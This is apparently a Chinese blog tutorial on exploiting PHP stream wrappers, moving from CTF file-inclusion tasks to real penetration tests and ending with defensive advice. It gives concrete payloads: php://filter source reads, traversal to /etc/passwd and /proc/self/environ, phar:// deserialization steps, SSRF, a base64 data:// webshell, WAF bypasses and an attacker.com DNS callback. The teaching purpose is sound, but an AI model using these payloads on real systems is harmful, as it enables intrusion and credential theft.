1. 项目概述从CTF靶场到真实攻防的桥梁在Web安全领域PHP伪协议是一个老生常谈却又历久弥新的话题。很多刚入门的朋友可能是在CTFCapture The Flag比赛中第一次接触到它比如SWPUCTF这类赛事中一道简单的文件包含题目用php://filter读取一下源码就能轻松拿到flag。但比赛归比赛现实中的漏洞利用远比这复杂和微妙。我见过不少安全从业者能把CTF里的伪协议玩得飞起可一旦面对一个真实的、有各种限制的生产环境就有点无从下手了。这篇内容我想和你聊聊的正是如何跨越这道鸿沟。我们不只停留在“怎么用”更要深挖“为什么能用”以及“在什么情况下能用”。我会结合SWPUCTF这类典型题目中暴露出的问题提炼出五个在真实漏洞挖掘与利用中至关重要的技巧。这些技巧不是孤立的命令而是一套组合拳涵盖了从漏洞发现、利用链构造到绕过防御的完整思路。无论你是正在打CTF的学生还是初入行业的渗透测试工程师相信这些从实战中踩坑总结出来的经验都能帮你更深刻地理解PHP伪协议并将其转化为真正的实战能力。2. 核心原理与协议家族深度解析在深入技巧之前我们必须把地基打牢。PHP伪协议并非一个单一协议而是一个由多个类似URL风格的封装协议组成的家族它们允许你以流的形式访问各种输入/输出资源。理解它们的共性与个性是利用它们的前提。2.1 协议的工作机制与共同点所有PHP伪协议都通过fopen()、file_get_contents()、include/require等文件系统函数来触发。当PHP解释器遇到一个以协议名://开头的路径时它不会将其视为普通的文件系统路径而是调用对应的协议处理程序Wrapper来获取“流”数据。这个过程有几个关键共同点上下文Context依赖许多协议的行为受stream_context_create()创建的上下文影响。例如在通过http://协议发起请求时你可以通过上下文设置请求头、超时时间、代理等。这在真实利用中是绕过某些检测或访问内网服务的关键。allow_url_fopen与allow_url_include这是两个至关重要的PHP配置指令。allow_url_fopen默认为On。它控制是否允许fopen()、file_get_contents()等函数打开URL如http://、ftp://作为文件。绝大多数伪协议如php://, data://的访问不受此选项限制它主要影响的是真正的远程URL封装协议。allow_url_include默认为Off它控制是否允许include、require等文件包含函数将URL作为PHP代码来包含执行。这是区分“文件读取”和“代码执行”的关键阀门。在CTF中为了出题方便它常被开启但在生产环境99.9%的情况下它是关闭的这直接封死了利用http://或ftp://远程包含执行代码的捷径。流的概念伪协议操作的是“流”你可以把它想象成一根水管数据从源头source通过这根水管流向目的地如变量、标准输出。过滤器Filter则可以串联在这根水管上对流经的数据进行实时转换。2.2 关键协议成员详解与真实场景联想下面我们重点剖析几个在攻防中最常露面的成员php://input这是一个只读流用于访问请求的原始主体raw POST data。它不依赖于$_POST数组而是直接读取HTTP请求体。这在CTF中常用于传递序列化字符串或PHP代码。真实场景联想假设一个应用使用file_get_contents(‘php://input’)来获取API的JSON数据。如果开发者未严格校验内容攻击者可能通过注入特定字符尝试将其返回值传递给include()或eval()从而构造漏洞。不过更常见的利用是与allow_url_include结合但如前所述生产环境此选项通常关闭。php://filter这是功能最强大、应用最广泛的伪协议。它本身是一个元封装器meta-wrapper设计用于在数据流打开时应用过滤器。其核心价值在于对本地文件进行编码转换。基本语法php://filter/read转换过滤器/resource目标文件关键过滤器convert.base64-encode将文件内容进行Base64编码。这是CTF中最经典的用法用于读取包含敏感信息或PHP源码因为包含PHP文件时代码会被执行而编码后内容以文本形式输出的文件。string.rot13进行ROT13编码。有时用于绕过简单的关键字过滤。convert.iconv.*进行字符集转换。这是一个宝藏过滤器在特定情况下可以用于构造特殊字符绕过WAFWeb应用防火墙的规则匹配。真实场景联想在代码审计中如果你发现一处文件包含点但无法直接看到源码如include($_GET[‘page’] . ‘.php’);利用php://filter/readconvert.base64-encode/resourceindex就能将index.php的源码以Base64形式输出从而进行审计。这完全不依赖allow_url_include因为它的目的是“读取”而非“包含执行”。data://数据流封装器。它允许将符合RFC 2397格式定义的数据内联inline作为文件流数据。基本语法data://[mediatype][;base64],数据危险之处当allow_url_includeOn时data://可以被include从而直接执行流中包含的PHP代码。例如include(‘data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8’)会执行phpinfo()。真实场景联想由于allow_url_include默认关闭直接利用data://执行代码在生产环境中较为罕见。但它可能被用于其他用途比如作为file_get_contents()的参数向应用注入特定格式的数据结合其他漏洞如反序列化进行利用。file://访问本地文件系统。这是默认封装器。当你在文件包含漏洞中直接传入/etc/passwd时本质上使用的是file://协议。phar://这个协议比较特殊它用于访问PHARPHP归档文件内的内容。PHAR文件本质上是一个压缩包可以包含PHP代码和其他文件。phar://协议触发的反序列化操作是近年来非常热门的攻击向量它通常不依赖文件包含而是通过file_exists()、fopen()等函数即可触发。注意区分“文件包含”和“文件读取”至关重要。include(‘php://filter/readconvert.base64-encode/resourceconfig.php’)是“包含”一个经过过滤器的流目的是让编码后的内容被“包含”进来但由于内容是Base64文本而非有效PHP代码所以不会执行但include函数会尝试读取它并以文本形式输出到页面如果开启了错误显示或通过其他方式如echo输出。而file_get_contents(‘php://filter/…’)则是明确地“读取”文件内容到一个字符串变量中。在漏洞利用时要清楚目标函数的行为。3. 从CTF到实战的五个关键技巧掌握了原理我们来看实战技巧。这五个技巧的难度和适用场景是递进的。3.1 技巧一精准识别潜在的协议利用点在CTF里题目往往会直白地告诉你存在文件包含include($_GET[‘file’])。现实中你需要像侦探一样寻找线索。敏感函数追踪在代码审计时重点关注以下函数include,require,include_once,require_once,fopen,file_get_contents,file,readfile,highlight_file,show_source等。查看它们的参数是否用户可控。参数传递链条分析用户输入$_GET,$_POST,$_COOKIE可能经过多层传递、拼接最终才传入文件操作函数。你需要梳理这条链条确认中间是否有安全的过滤或校验。例如$page $_GET[‘p’]; include(‘./templates/’ . $page . ‘.html’);看起来限制了后缀但如果$page是../../../etc/passwd呢路径遍历Directory Traversal往往与伪协议利用相辅相成。寻找非显式包含点有些漏洞点不那么明显。例如某些框架或自定义类库的自动加载机制spl_autoload_register、模板引擎加载模板文件、配置文件读取函数都可能成为伪协议的入口。黑盒测试中的模糊试探在渗透测试中可以对所有疑似文件操作的参数进行模糊测试Fuzzing。尝试 payload 如php://filter/readconvert.base64-encode/resourceindex../../../../etc/passwddata://text/plain,test。观察响应内容的长度、类型、错误信息的变化。一个常见的技巧是如果参数被include传入一个不存在的协议如xxx://可能会产生与传入普通不存在文件不同的警告信息这有助于判断后端处理逻辑。3.2 技巧二利用filter协议绕过死亡代码与获取源码这是最基础也最实用的技巧。当你可以控制一个文件包含的参数但目标文件是.php后缀直接包含会导致其中的PHP代码被执行而你只想看到源码时php://filter的编码能力就派上用场了。实战案例拆解 假设存在漏洞代码include($_GET[‘module’] . ‘.php’);你想读取当前目录下的admin.php源码。Payload构造?modulephp://filter/readconvert.base64-encode/resourceadmin这里resourceadmin因为后端会自动拼接.php所以最终会读取admin.php。readconvert.base64-encode指定了读取时应用的过滤器。结果处理执行后页面可能会显示一串Base64编码的字符串。你需要将其解码才能看到原始PHP源码。如果页面没有直接输出可能输出在了HTML注释里或者需要查看网页源代码。高级绕过技巧 有时题目或真实环境会对php://、base64等关键字进行过滤。多重编码绕过php://filter支持过滤器链。你可以对资源进行多次编码。Payload:php://filter/readconvert.base64-encode|convert.base64-encode/resourceadmin这会将文件内容Base64编码两次。后端第一次解码后得到一次编码的结果显示在页面上你需要手动解码两次才能得到源码。这可以绕过一些简单的base64_decode检测。使用string.rot13php://filter/readstring.rot13/resourceadmin。PHP代码经过ROT13后?php会变成?cuc不再是有效的PHP标签因此不会被服务器执行而是以文本形式输出。然后你可以对输出内容进行ROT13解码得到源码。这能绕过对base64关键词的过滤。convert.iconv的妙用这个过滤器用于转换字符编码。在某些极端情况下可以利用编码转换产生特殊字符破坏WAF的匹配规则。例如从UTF-8转换到UTF-7或者利用US-ASCII和UTF-16的转换来构造payload。这属于更高级的绕过技术需要对字符编码有较深理解。实操心得在真实渗透测试中用php://filter读取源码往往是突破僵局的第一步。通过源码你可以发现数据库配置、硬编码密钥、其他隐藏接口或更危险的漏洞如反序列化。拿到源码后要优先查看配置文件config.php,.env,database.php、通用包含文件common.php和核心业务逻辑文件。3.3 技巧三结合路径遍历与目录爆破扩大战果伪协议通常需要指定一个resource资源这个资源往往是服务器上的一个文件路径。在CTF中这个路径可能是已知的如flag.php。在现实中你需要自己寻找有价值的目标。路径遍历../这是伪协议利用的最佳搭档。利用../跳出当前目录限制访问系统其他文件。例如?filephp://filter/readconvert.base64-encode/resource../../../../etc/passwd尝试读取Linux系统用户列表。例如?filephp://filter/readconvert.base64-encode/resource../../config/database.php尝试读取上一级目录的数据库配置文件。Windows下的变体可以使用..\或../以及利用C:\Windows\system.ini等已知文件进行测试。目录与文件爆破当你发现一个文件包含点但不知道具体有哪些敏感文件时就需要进行爆破。字典准备准备包含常见配置文件config.inc.php,web.config,.htaccess、日志文件access.log,error.log、备份文件.bak,.swp,.old和系统文件/etc/passwd,/proc/self/environ的字典。工具自动化使用Burp Suite的Intruder、ffuf或dirsearch等工具将伪协议payload作为前缀字典中的文件名作为resource的值进行爆破。例如设置Payload为php://filter/readconvert.base64-encode/resource../../../../§FILE§然后加载字典。利用/proc/self目录在Linux系统中/proc/self是一个指向当前进程目录的符号链接。通过它可以访问当前运行进程的信息。/proc/self/cmdline查看启动当前进程的命令行参数可能包含数据库密码等敏感信息。/proc/self/environ查看进程的环境变量可能泄露路径、密钥等信息。/proc/self/fd/[数字]访问进程打开的文件描述符有时可以读取到临时文件或日志。Payload示例?filephp://filter/resource/proc/self/environ3.4 技巧四洞察phar://协议的反序列化利用链这是近年来将伪协议利用提升到一个新高度的技巧。phar://协议的核心危险不在于读取而在于它会在解析phar文件元数据metadata时自动触发反序列化操作。利用原理PHAR文件包含四部分stub、manifest、文件内容、签名。其中manifest部分以序列化的形式存储文件的元信息。当使用phar://协议去访问一个PHAR文件中的子文件时如phar:///path/to/exploit.phar/test.txtPHP会首先解析整个PHAR文件包括其反序列化manifest。如果这个被反序列化的数据metadata是一个对象并且该对象的类中定义了__wakeup()或__destruct()魔术方法那么这些方法就会在反序列化时被自动调用。如果这些魔术方法中存在危险操作如system()、eval()、文件操作等攻击者就可以通过精心构造的PHAR文件来执行任意代码。最关键的一点触发这个反序列化的函数非常广泛不仅限于include。file_exists()、fopen()、file_get_contents()、copy()、unlink()等任何接受文件路径作为参数并且内部实现支持流包装器的函数在传入phar://路径时都可能触发。这大大增加了攻击面。实战利用步骤寻找可利用的类在目标应用的源码中寻找包含魔术方法__wakeup,__destruct,__toString等且方法内有危险操作的类。这类类被称为“POP链”的起点或中间节点。构造恶意序列化数据实例化找到的类并设置其属性使得当魔术方法被调用时能执行我们想要的命令如写入Webshell。生成恶意PHAR文件编写一个PHP脚本利用Phar类将构造好的恶意对象存入PHAR文件的metadata中然后生成.phar文件。文件上传与触发将生成的恶意PHAR文件上传到服务器可能需要绕过文件类型检查比如将其后缀改为.jpg但文件内容仍是PHAR格式。然后找到一个能接受文件路径参数的地方如图片加载、文件下载、本地文件包含等传入phar:///path/to/uploaded.jpg/somefile这样的路径来触发反序列化。注意事项phar://反序列化在PHP 8.0及以上版本默认不再自动反序列化metadata中的对象除非设置了Phar::__construct()的$flags参数。但在PHP 7.x及以下版本中此漏洞广泛存在。在审计或测试时务必先确认目标PHP版本。3.5 技巧五上下文Context与协议组合的进阶利用这是面向高阶场景的技巧用于突破更复杂的限制。利用http://协议与上下文进行SSRF当allow_url_fopenOn时可以通过file_get_contents()等函数发起HTTP请求。结合流上下文stream context可以构造复杂的请求用于服务端请求伪造SSRF。示例探测内网服务。// 假设存在漏洞代码$url $_GET[url]; $data file_get_contents($url); $context stream_context_create([http [method GET, header X-Forwarded-For: 127.0.0.1\r\n]]); // 攻击者可以传入?urlhttp://192.168.1.1:8080/admin // 或者结合字典爆破内网端口?urlhttp://192.168.1.1:%PORT%/通过构造特定的Header如Host,X-Forwarded-For有时可以绕过简单的IP或域名限制。还可以使用gopher://协议如果支持进行更底层的协议利用攻击内网Redis、Memcached等服务。协议嵌套与组合在某些过滤场景下可以尝试协议的嵌套。例如极少数情况下程序可能先对输入进行解码或处理。可以尝试php://filter/readconvert.base64-decode/resourcedata://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4。这里resource指向的是一个data://流该流的内容是Base64编码的Webshell。整个payload先读取data://流的内容即Base64编码的Webshell然后通过convert.base64-decode过滤器进行解码最终得到原始的Webshell代码。这种嵌套可以绕过一些简单的字符串匹配过滤。利用zip://与phar://处理压缩包zip://和phar://都可以访问压缩包内的文件。如果应用允许上传压缩包并解压但解压路径可控或存在文件包含就可能构成利用。例如上传一个包含恶意PHP文件的ZIP包然后利用zip:///path/to/upload.zip%23shell.php注意#需要编码为%23来直接包含执行压缩包内的文件。这绕过了对上传文件后缀的检查。4. 防御视角与安全开发建议了解了攻击才能更好地防御。从开发者和运维的角度如何避免伪协议带来的风险严格的输入过滤与白名单对于所有用户输入尤其是用于文件操作、包含操作的参数必须进行严格校验。最佳实践是使用白名单机制只允许特定的、预定义的值。如果必须使用动态路径应对输入进行严格的净化过滤掉../、://、phar、zip、data等危险字符和协议标识。可以使用basename()函数获取路径中的文件名部分但要注意它可能无法处理所有情况。关键的PHP配置将allow_url_include设置为Off。这是最重要的一条可以彻底阻断远程文件包含和data://协议执行代码的可能性。在确保业务不需要从远程URL读取文件的前提下将allow_url_fopen也设置为Off以降低SSRF风险。在php.ini中可以通过disable_functions禁用危险函数如system,exec,passthru,shell_exec,proc_open等。但这只是纵深防御的一环无法完全防止伪协议利用。使用安全的文件操作函数与模式尽量避免使用动态包含。如果必须包含使用绝对路径而非相对路径。使用realpath()函数来解析路径并检查解析后的路径是否在预期的目录内。框架与库的安全使用使用现代、活跃维护的PHP框架如Laravel, Symfony它们通常有更安全的文件处理和路由机制。及时更新框架和依赖库修复已知的安全漏洞。Web应用防火墙WAF部署WAF可以帮助拦截常见的攻击payload如包含php://filter、../等的请求。但WAF并非万能攻击者可能会使用编码、混淆等技术进行绕过。代码审计与安全测试在开发流程中引入代码安全审计和定期的渗透测试主动发现潜在的伪协议利用点及其他安全漏洞。5. 常见问题与排查技巧实录在实际利用和防御排查中总会遇到各种问题。这里记录一些常见的坑和解决思路。问题1使用php://filter读取文件返回空白或警告“No such file or directory”。排查思路路径问题检查resource参数指定的文件路径是否正确。使用绝对路径如/var/www/html/config.php通常比相对路径更可靠。尝试使用../进行目录遍历或者先读取一个确定存在的文件如index.php来测试协议是否可用。权限问题Web服务器进程如www-data, apache用户可能没有读取目标文件的权限。尝试读取Web目录下的其他文件。过滤器链错误检查过滤器语法是否正确。多个过滤器用|管道符连接顺序是从左到右处理。read和write不能混用。输出被截断或编码如果读取的是二进制文件如图片Base64编码后输出到HTML页面可能会被浏览器解析或截断。查看网页源代码CtrlU获取完整响应。问题2包含phar://协议路径时没有触发反序列化。排查思路PHP版本确认目标PHP版本是否低于8.0。PHP 8.0 需要显式设置标志位。文件后缀尝试将PHAR文件的后缀改为.phar。某些情况下只有后缀为.phar时才会被识别。如果上传时限制了后缀可以尝试在生成PHAR文件时使用Phar::PHAR常量并确保文件头正确。触发函数确认你使用的函数是否支持流包装器。file_exists()和is_file()在某些PHP版本/配置下可能不会触发反序列化优先使用file_get_contents()、fopen()测试。元数据序列化确认生成PHAR时是否正确地将恶意对象设置到了setMetadata()方法中。问题3目标对../、php等关键词进行了过滤。绕过技巧URL编码对payload进行多次URL编码。例如../可以编码为%2e%2e%2f服务器端可能会解码一次或多次。超长路径使用超长的../序列有时可以绕过简单的字符串匹配。协议名称大小写尝试PHP://、Php://PHP的流包装器处理可能不区分大小写。使用filter协议的编码能力如前所述使用convert.iconv.*过滤器进行字符转换可能产生绕过效果。双写绕过如果过滤是简单的替换为空可以尝试....//过滤掉../后变成../或phphar://。问题4在真实渗透中如何判断一个点是否真的存在文件包含漏洞技巧错误信息法传入一个肯定不存在的协议如xxx://观察返回的错误信息。如果提示类似“xxx://wrapper is disabled”或“failed to open stream”说明后端尝试用流包装器打开它存在利用可能。如果提示“file not found”则可能只是普通的文件路径处理。延时判断盲注如果页面没有明显回显可以尝试利用http://协议访问一个你控制的、响应很慢的服务器或者使用php://filter读取一个很大的文件如/dev/zero但小心DoS观察页面响应时间是否显著变长从而判断漏洞是否存在。DNS外带如果可以发起HTTP请求尝试让目标访问一个包含唯一子域名的URL如http://your-unique-id.attacker.com然后在你的DNS日志中查看是否有解析请求来确认漏洞存在。最后我想强调的是技术是双刃剑。本文深入探讨PHP伪协议的利用技巧目的是为了帮助安全从业者更好地理解漏洞原理从而构建更坚固的防御体系。在授权的安全测试中请务必遵守法律法规和测试范围。在日常开发中务必牢记这些安全准则从源头杜绝漏洞的产生。安全是一个持续的过程保持学习和对技术的敬畏才能在这条路上走得更远。
